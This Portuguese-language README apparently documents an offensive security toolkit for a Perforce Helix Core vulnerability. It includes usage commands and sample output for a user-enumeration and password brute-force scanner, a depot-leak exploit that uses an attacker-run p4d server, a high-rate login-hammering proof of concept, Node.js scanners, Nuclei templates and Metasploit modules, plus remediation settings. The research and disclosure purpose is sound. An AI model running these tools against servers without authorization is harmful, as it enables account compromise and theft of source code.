
Pesquisa de segurança e ferramentas Perforce - CVE-2026-6043
Ferramentas de pesquisa de segurança do Perforce (Helix Core) e templates Nuclei.
Artigo de pesquisa: https://morganrobertson.net/p4wned/
Por favor, leia o artigo acima para detalhes completos.
Apenas alvos autorizados. Use em seus próprios servidores ou com permissão explícita por escrito.
Público-alvo: administradores de servidores Perforce, testadores de penetração, engenheiros de segurança
Atualização de maio de 2026: O Perforce 2026.1 foi lançado. Esta versão vem com configurações seguras por padrão! Muito satisfeito em ver isso lançado para proteger a propriedade intelectual dos desenvolvedores. Leia mais aqui.
Nota: Estas ferramentas varrem as configurações incorretas resultantes de CVE-2026-6043.
| Tool | Requer |
|---|---|
p4wned.py | Python 3, p4 CLI binary (veja abaixo) |
p4ghost.py | Python 3, p4 CLI binary, local p4d instance (veja configuração abaixo) |
p4-auth-hammer | g++, Perforce C++ API, OpenSSL 1.1.1 (veja p4-auth-hammer/README.md) |
| Ferramentas JavaScript | Node.js (sem dependências externas) |
| Templates Nuclei | Nuclei v3+ |
| Módulos Metasploit | Metasploit Framework |
Adquirindo o binário p4 (necessário para p4wned.py e p4ghost.py):
# Subject to Perforce terms of use: https://www.perforce.com/legal
wget https://ftp.perforce.com/perforce/r25.2/bin.linux26x86_64/p4
chmod +x p4
Os servidores Perforce expõem um protocolo TCP binário personalizado (porta padrão 1666). Muitas instalações vêm com configurações inseguras por padrão — listagem de usuários não autenticada, divulgação de informações do servidor, depots remotos acessíveis, sem requisitos de senha e sem limitação de taxa nas tentativas de login. Todas as ferramentas aqui exploram essas configurações padrão sem exigir credenciais.
O scanner principal. Usa o binário da CLI p4 para enumerar usuários, testar credenciais, listar depots e produzir um relatório.
python3 p4wned.py [-brute] [-audit] [-parallel N]
Opções:
| Bandeira | Descrição |
|---|---|
-brute | Ativa modo de força bruta — testa senhas contra todas as contas de usuário descobertas |
-audit | Modo de auditoria completa — continua testando todos os usuários mesmo após encontrar uma vulnerabilidade |
-parallel N | Número de tentativas paralelas de senha (padrão: 1) |
Config (edite no topo do script):
O que faz:
run.users.authorize=0)super em contas comprometidasSaída do console:
$ python3 p4wned.py
___ _ _ __ __ __ __ ___
/ _ \ || |/ / /\ \ \/\ \ \/__\/ \
/ /_)/ || |\ \/ \/ / \/ /_\ / /\ /
/ ___/|__ _\ /\ / /\ //__/ /_//
\/ |_| \/ \/\_\ \/\__/___,'
P4WNED - 0wning P4 servers via shit security defaults since Y2K+25
· Sniffs out user accounts, blank passwords, weak creds, and dumb settings.
· Confirms depots access and those juicy "super" user accounts.
· Drops a tidy report so you can fix the mess before the Skids arrive
Authorised targets only, brotendo. Use on your own servers or at your own risk.
==============================================================================
=== Processing: 192.0.2.10:1666 (perforce.example-studio.com) ===
[INFO] Testing user 'super' for security issues...
[INFO] User 'super' does not exist.
[INFO] Users listing accessible: build, designer1, jsmith, lead_prog, svc_build
[INFO] Testing user 'build' for security issues...
[INFO] Testing user 'designer1' for security issues...
[INFO] Testing user 'jsmith' for security issues...
[INFO] Testing user 'lead_prog' for security issues...
[INFO] Testing user 'svc_build' for security issues...
[INFO] Added new credential for 192.0.2.10:1666: user='svc_build', password='None'
[INFO] Saving updated credentials after finding valid credentials for svc_build on 192.0.2.10:1666
[INFO] Report saved to perforce-report-p4wned-1775436520.txt
Arquivo de relatório (perforce-report-p4wned-*.txt):
Perforce Security Scan Report
Server: 192.0.2.10:1666 (perforce.example-studio.com)
Status: Insecure
Note: Insecure via user 'svc_build' (no password)
== Depots ==
Depot depot 2025/11/03 local depot/... 'Default depot'
Depot assets 2024/08/19 local assets/... 'Asset depot'
== Last 10 Changes ==
Change 1047 on 2025/11/03 14:22:11 by lead_prog@DESKTOP-BUILD01
Merge branch feature/ai-pathfinding
Change 1046 on 2025/11/03 09:44:38 by designer1@DESKTOP-ART02
Updated character rig exports
== Depot Details ==
Depot: depot
-- Root Directories --
//depot/Source
//depot/Content
//depot/Config
This depot is a non-Unreal Engine Depot.
------------------------------------------------------------
Summary Report
Server: 192.0.2.10:1666 - Insecure - Note: Insecure via user 'svc_build' (no password)
Testa o acesso não autenticado a depots remotos através do usuário oculto remote. O exploit funciona executando uma instância p4d controlada pelo atacante localmente — o servidor alvo se conecta de volta a ela como parte do protocolo servidor a servidor, vazando sua listagem de arquivos do depot no processo.
Configuração (única):
# Subject to Perforce terms of use: https://www.perforce.com/legal
wget https://ftp.perforce.com/perforce/r24.2/bin.linux26x86_64/p4d
wget https://ftp.perforce.com/perforce/r25.2/bin.linux26x86_64/p4
chmod +x p4d p4
# Start a plain ASCII p4d on port 1818 (used as the attacker's server)
mkdir p4root_attacker
./p4d -r ./p4root_attacker -p 1818 -d
# Start a unicode p4d on a separate port (1819) for unicode targets
mkdir p4root_attacker_unicode
./p4d -r ./p4root_attacker_unicode -xi # convert to unicode mode
./p4d -r ./p4root_attacker_unicode -p 1819 -d
python3 p4ghost.py <input_file> [-skipnolicense] [-report FILE] [-p4cmd PATH]
[-unicodeport PORT] [-nonunicodeport PORT] [-timeout SECS]
# Example invocation using the local attacker servers above
python3 p4ghost.py targets.txt -nonunicodeport 1818 -unicodeport 1819
Argumentos:
Versões afetadas: Todas as versões abaixo de 2025.1 com security < 4 (o padrão é 0).
Prova de conceito demonstrando que o p4d não limita efetivamente a taxa de tentativas de autenticação quando security < 3. Alcança >300.000 tentativas de login por minuto contra uma única conta usando a API C++ do Perforce.
./p4_auth_hammer_poc <server:port> <username> <password_file> [-ticketauth]
Compilação (requer API C++ do Perforce e OpenSSL 1.1.1 — veja p4-auth-hammer/README.md para configuração completa):
bash p4-auth-hammer/p4_auth_hammer_poc_build.sh
Modos:
security < 3). A limitação de taxa é totalmente ignorada. >300.000 tentativas/min.-ticketauth: login baseado em ticket (security >= 3). A limitação de taxa (dm.user.loginattempts) está ativa neste nível.Detecta automaticamente servidores SSL e unicode. Ajusta automaticamente o número de threads para máxima taxa de transferência.
Remediação: p4 configure set security=3 (ou 4). Veja p4-auth-hammer/README.md para detalhes completos.
Scripts Node.js independentes. Sem dependências além da stdlib do Node.js. Todos os scripts detectam automaticamente SSL vs TCP simples e modo de servidor ASCII vs unicode — nenhuma flag necessária.
Formato do arquivo de alvos: host:porta um por linha, a porta padrão é 1666 se omitida. Linhas começando com # são ignoradas.
p4testascii.example.net:1666
p4testunicode.example.net:1666
p4testunicode.example.net:1667
Autodetecção: TCP simples é tentado primeiro. Se o servidor responder com a mensagem de erro SSL do Perforce ("Failed client connect, server using SSL") a conexão é tentada novamente via TLS com rejectUnauthorized: false (aceita certificados autoassinados). O modo ASCII é tentado primeiro; se o servidor retornar a mensagem de erro unicode, a conexão é tentada novamente com o parâmetro unicode.
Explora run.users.authorize=0 (padrão) para listar todas as contas de usuário sem autenticação.
node javascript/perforce-users.js [targets_file]
Saída: [host:porta] [tcp|ssl] nome_de_usuário <email> "Nome Completo"
Explora dm.info.hide=0 (padrão) para extrair versão do servidor, endereço interno, caminho raiz e string de licença.
node javascript/perforce-info.js [targets_file]
Saída:
[host:port] [tcp|ssl]
Version : P4D/LINUX26X86_64/2024.2/2877946
Server Addr: internal-hostname:1666
Server Root: /opt/perforce/p4root
License : Acme Corp
Encontra contas de usuário sem senha definida. Usa o formato de saída marcada (parâmetro tag) para detectar a ausência do campo Password nos registros de usuário. Contas sem senha permitem login direto não autenticado.
node javascript/perforce-passwordless.js [targets_file]
Saída: [host:porta] [tcp|ssl] [PASSWORDLESS] nome_de_usuário <email> "Nome Completo"
Explora o usuário oculto remote através do RPC servidor a servidor rmt-DbPipe para ler a tabela db.rev diretamente, extraindo caminhos de arquivos do depot e números de change sem autenticação. Versões afetadas: abaixo de 2025.1 com security < 4.
node javascript/perforce-remote.js [targets_file]
Saída:
[host:port] [tcp|ssl] 42 file(s) in depot:
[change=7] [2024-11-03] //depot/src/main.cpp
[change=3] [2024-09-12] //depot/config/database.yml
Extrai valores de chaves/contadores globais de servidores Perforce. As chaves podem conter números de compilação, strings de versão interna e configuração.
node javascript/perforce-keys.js [targets_file]
Saída: [host:porta] [tcp|ssl] nome_da_chave = valor
Templates para Nuclei. Todos os templates usam uma etapa de porta TCP para confirmar que um servidor Perforce está presente antes de executar o payload JavaScript. Os templates usam a mesma abordagem de autodetecção das ferramentas JavaScript.
nuclei -t nuclei-templates/ -u target:1666
nuclei -t nuclei-templates/ -l targets.txt
| Template | ID | Descrição |
|---|---|---|
perforce-detect.yaml | perforce-detection | Detecta servidores Perforce via handshake de protocolo binário. Severidade: info. |
Limitações: Sem suporte SSL, apenas porta 1666. Veja as ferramentas JavaScript para mais.
Três módulos auxiliares de scanner para o Metasploit Framework, além de um mixin de biblioteca compartilhada que lida com o protocolo binário do Perforce. Esses módulos cobrem as mesmas vulnerabilidades que as ferramentas independentes acima — enumeração de usuários, detecção de contas sem senha e exploração de depot remoto.
Todos os módulos detectam automaticamente o modo de servidor ASCII vs unicode. SSL é suportado.
| Módulo | Descrição |
|---|---|
auxiliary/scanner/perforce/perforce_user_enum |
Os arquivos fonte estão no diretório metasploit/. Uma PR foi submetida ao Metasploit Framework.
Referência rápida de remediação:
| Variável | Descrição |
|---|
INPUT_FILE | Lista de alvos (ip:porta, um por linha) — padrão perforce-servers.txt |
P4_CMD | Caminho para o binário p4 — padrão ./p4 |
TOP_PASSWORDS_FILE | Wordlist para força bruta — padrão top-passwords.txt |
KNOWN_CREDS_FILE | Pares de credenciais conhecidos para tentar primeiro |
REPORT_FILE | Caminho do relatório de saída |
| Bandeira | Descrição |
|---|
input_file | Lista de alvos (ip:porta, um por linha) |
-skipnolicense | Pular servidores que retornam Server license: none |
-report FILE | Caminho do relatório de saída |
-p4cmd PATH | Caminho para o binário p4 (padrão ./p4) |
-unicodeport PORT | Porta p4d unicode local a ser usada como servidor do atacante |
-nonunicodeport PORT | Porta p4d não-unicode local |
-timeout SECS | Tempo limite do comando |
| Template | ID | Severidade | CVSS | Descrição |
|---|
perforce-user-extraction.yaml | perforce-user-enumeration | Médio | 5.3 | Listagem de usuários não autenticada — servidores ASCII e unicode. Extrai nomes de usuário, emails, nomes completos. |
perforce-info-disclosure.yaml | perforce-info-disclosure | Médio | 5.3 | Divulgação de informações do servidor — versão, endereço interno, caminho raiz, licença. |
perforce-passwordless-users.yaml | perforce-passwordless-users | Crítico | 9.1 | Encontra contas sem senha definida. |
perforce-remote-depot-unauth.yaml | perforce-remote-depot-access-unauth | Alto | 7.5 | Acesso a depot remoto via usuário remote — servidores ASCII e unicode. Extrai caminhos de arquivos e números de change. Afetado: < 2025.1 com security < 4. |
| Listagem de usuários não autenticada — extrai nomes de usuário, emails, nomes completos e horários do último acesso. |
auxiliary/scanner/perforce/perforce_passwordless | Detecta contas sem senha definida. |
auxiliary/scanner/perforce/perforce_remote_depot | Enumeração de arquivos de depot remoto via usuário oculto remote. Afetado: < 2025.1 com security < 4. |
| Descoberta | Correção |
|---|
| Enumeração de usuários | p4 configure set run.users.authorize=1 |
| Divulgação de informações | p4 configure set dm.info.hide=1 |
| Usuários sem senha | Defina senhas para todas as contas; p4 configure set dm.user.noautocreate=2 |
| Acesso a depot remoto | Atualize para 2025.1+, ou p4 configure set security=4 |
| Limitação de taxa de autenticação | p4 configure set security=3 (habilita bloqueio efetivo via dm.user.loginattempts) |
| Tudo acima | p4 configure set security=4 mais as configurações individuais acima — security=4 corrige o exploit remoto, mas não oculta listagens de usuários ou informações do servidor. |